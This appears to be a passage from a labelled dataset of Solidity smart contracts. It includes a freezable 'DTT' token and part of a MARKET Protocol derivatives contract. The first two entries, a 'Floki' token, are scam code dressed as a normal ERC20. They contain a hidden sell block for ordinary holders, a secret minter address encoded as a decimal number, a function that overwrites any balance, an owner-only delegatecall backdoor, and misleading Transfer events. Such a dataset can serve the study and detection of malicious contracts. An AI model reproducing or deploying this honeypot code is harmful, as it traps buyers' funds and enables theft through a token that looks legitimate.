function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,413 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Floki {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 452 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Delphi Technologies Token";
string constant TOKEN_SYMBOL = "DTT";
bool constant PAUSED = true;
address constant TARGET_USER = 0xc9060fcf7bD238A359DEA06b6421c7F06E88Dc2b;
uint constant START_TIME = 1523734197;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 4,923 |
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library StringLib {
function bytes32ToString(bytes32 bytesToConvert) internal pure returns (string memory) {
bytes memory bytesArray = new bytes(32);
for (uint256 i; i < 32; i++) {
bytesArray[i] = bytesToConvert[i];
}
return string(bytesArray);
}
}
library MathLib {
int256 constant INT256_MIN = int256((uint256(1) << 255));
int256 constant INT256_MAX = int256(~((uint256(1) << 255)));
function multiply(uint256 a, uint256 b) pure internal returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MathLib: multiplication overflow");
return c;
}
function divideFractional(
uint256 a,
uint256 numerator,
uint256 denominator
) pure internal returns (uint256)
{
return multiply(a, numerator) / denominator;
}
function subtract(uint256 a, uint256 b) pure internal returns (uint256) {
require(b <= a, "MathLib: subtraction overflow");
return a - b;
}
function add(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a + b;
require(c >= a, "MathLib: addition overflow");
return c;
}
function calculateCollateralToReturn(
uint priceFloor,
uint priceCap,
uint qtyMultiplier,
uint longQty,
uint shortQty,
uint price
) pure internal returns (uint)
{
uint neededCollateral = 0;
uint maxLoss;
if (longQty > 0) {
if (price <= priceFloor) {
maxLoss = 0;
} else {
maxLoss = subtract(price, priceFloor);
}
neededCollateral = multiply(multiply(maxLoss, longQty), qtyMultiplier);
}
if (shortQty > 0) {
if (price >= priceCap) {
maxLoss = 0;
} else {
maxLoss = subtract(priceCap, price);
}
neededCollateral = add(neededCollateral, multiply(multiply(maxLoss, shortQty), qtyMultiplier));
}
return neededCollateral;
}
function calculateTotalCollateral(
uint priceFloor,
uint priceCap,
uint qtyMultiplier
) pure internal returns (uint)
{
return multiply(subtract(priceCap, priceFloor), qtyMultiplier);
}
function calculateFeePerUnit(
uint priceFloor,
uint priceCap,
uint qtyMultiplier,
uint feeInBasisPoints
) pure internal returns (uint)
{
uint midPrice = add(priceCap, priceFloor) / 2;
return multiply(multiply(midPrice, qtyMultiplier), feeInBasisPoints) / 10000;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract PositionToken is ERC20, Ownable {
string public name;
string public symbol;
uint8 public decimals;
MarketSide public MARKET_SIDE;
enum MarketSide { Long, Short}
constructor(
string memory tokenName,
string memory tokenSymbol,
uint8 marketSide
) public
{
name = tokenName;
symbol = tokenSymbol;
decimals = 5;
MARKET_SIDE = MarketSide(marketSide);
}
function mintAndSendToken(
uint256 qtyToMint,
address recipient
) external onlyOwner
{
_mint(recipient, qtyToMint);
}
function redeemToken(
uint256 qtyToRedeem,
address redeemer
) external onlyOwner
{
_burn(redeemer, qtyToRedeem);
}
}
contract MarketContract is Ownable {
using StringLib for *;
string public CONTRACT_NAME;
address public COLLATERAL_TOKEN_ADDRESS;
address public COLLATERAL_POOL_ADDRESS;
uint public PRICE_CAP;
uint public PRICE_FLOOR;
uint public PRICE_DECIMAL_PLACES;
uint public QTY_MULTIPLIER;
uint public COLLATERAL_PER_UNIT;
uint public COLLATERAL_TOKEN_FEE_PER_UNIT;
uint public MKT_TOKEN_FEE_PER_UNIT;
uint public EXPIRATION;
uint public SETTLEMENT_DELAY = 1 days;
address public LONG_POSITION_TOKEN;
address public SHORT_POSITION_TOKEN;
uint public lastPrice;
uint public settlementPrice;
uint public settlementTimeStamp;
bool public isSettled = false;
event UpdatedLastPrice(uint256 price);
event ContractSettled(uint settlePrice);
constructor(
bytes32[3] memory contractNames,
address[3] memory baseAddresses,
uint[7] memory contractSpecs
) public
{
PRICE_FLOOR = contractSpecs[0];
PRICE_CAP = contractSpecs[1];
require(PRICE_CAP > PRICE_FLOOR, "PRICE_CAP must be greater than PRICE_FLOOR");
PRICE_DECIMAL_PLACES = contractSpecs[2];
QTY_MULTIPLIER = contractSpecs[3];
EXPIRATION = contractSpecs[6];
require(EXPIRATION > now, "EXPIRATION must be in the future");
require(QTY_MULTIPLIER != 0,"QTY_MULTIPLIER cannot be 0");
COLLATERAL_TOKEN_ADDRESS = baseAddresses[1];
COLLATERAL_POOL_ADDRESS = baseAddresses[2];
COLLATERAL_PER_UNIT = MathLib.calculateTotalCollateral(PRICE_FLOOR, PRICE_CAP, QTY_MULTIPLIER);
COLLATERAL_TOKEN_FEE_PER_UNIT = MathLib.calculateFeePerUnit(
PRICE_FLOOR,
PRICE_CAP,
QTY_MULTIPLIER,
contractSpecs[4]
);
MKT_TOKEN_FEE_PER_UNIT = MathLib.calculateFeePerUnit(
PRICE_FLOOR,
PRICE_CAP,
QTY_MULTIPLIER,
contractSpecs[5]
);
CONTRACT_NAME = contractNames[0].bytes32ToString();
PositionToken longPosToken = new PositionToken(
"MARKET Protocol Long Position Token",
contractNames[1].bytes32ToString(),
uint8(PositionToken.MarketSide.Long)
);
PositionToken shortPosToken = new PositionToken(
"MARKET Protocol Short Position Token",
contractNames[2].bytes32ToString(),
uint8(PositionToken.MarketSide.Short)
);
LONG_POSITION_TOKEN = address(longPosToken);
SHORT_POSITION_TOKEN = address(shortPosToken);
transferOwnership(baseAddresses[0]);
}
function mintPositionTokens(
uint256 qtyToMint,
address minter
) external onlyCollateralPool
{
PositionToken(LONG_POSITION_TOKEN).mintAndSendToken(qtyToMint, minter);
PositionToken(SHORT_POSITION_TOKEN).mintAndSendToken(qtyToMint, minter);
}
function redeemLongToken(
uint256 qtyToRedeem,
address redeemer
) external onlyCollateralPool
{
PositionToken(LONG_POSITION_TOKEN).redeemToken(qtyToRedeem, redeemer);
}
function redeemShortToken(
uint256 qtyToRedeem,
address redeemer
) external onlyCollateralPool
{
PositionToken(SHORT_POSITION_TOKEN).redeemToken(qtyToRedeem, redeemer);
}
function isPostSettlementDelay() public view returns (bool) {
return isSettled && (now >= (settlementTimeStamp + SETTLEMENT_DELAY));
}
function checkSettlement() internal {
require(!isSettled, "Contract is already settled");
uint newSettlementPrice;
if (now > EXPIRATION) {
isSettled = true;
newSettlementPrice = lastPrice;
} else if (lastPrice >= PRICE_CAP) {
isSettled = true;
newSettlementPrice = PRICE_CAP;
} else if (lastPrice <= PRICE_FLOOR) {
isSettled = true;
newSettlementPrice = PRICE_FLOOR;
}
if (isSettled) {
settleContract(newSettlementPrice);
}
}
function settleContract(uint finalSettlementPrice) internal {
settlementTimeStamp = now;
settlementPrice = finalSettlementPrice;
emit ContractSettled(finalSettlementPrice);
}
modifier onlyCollateralPool {
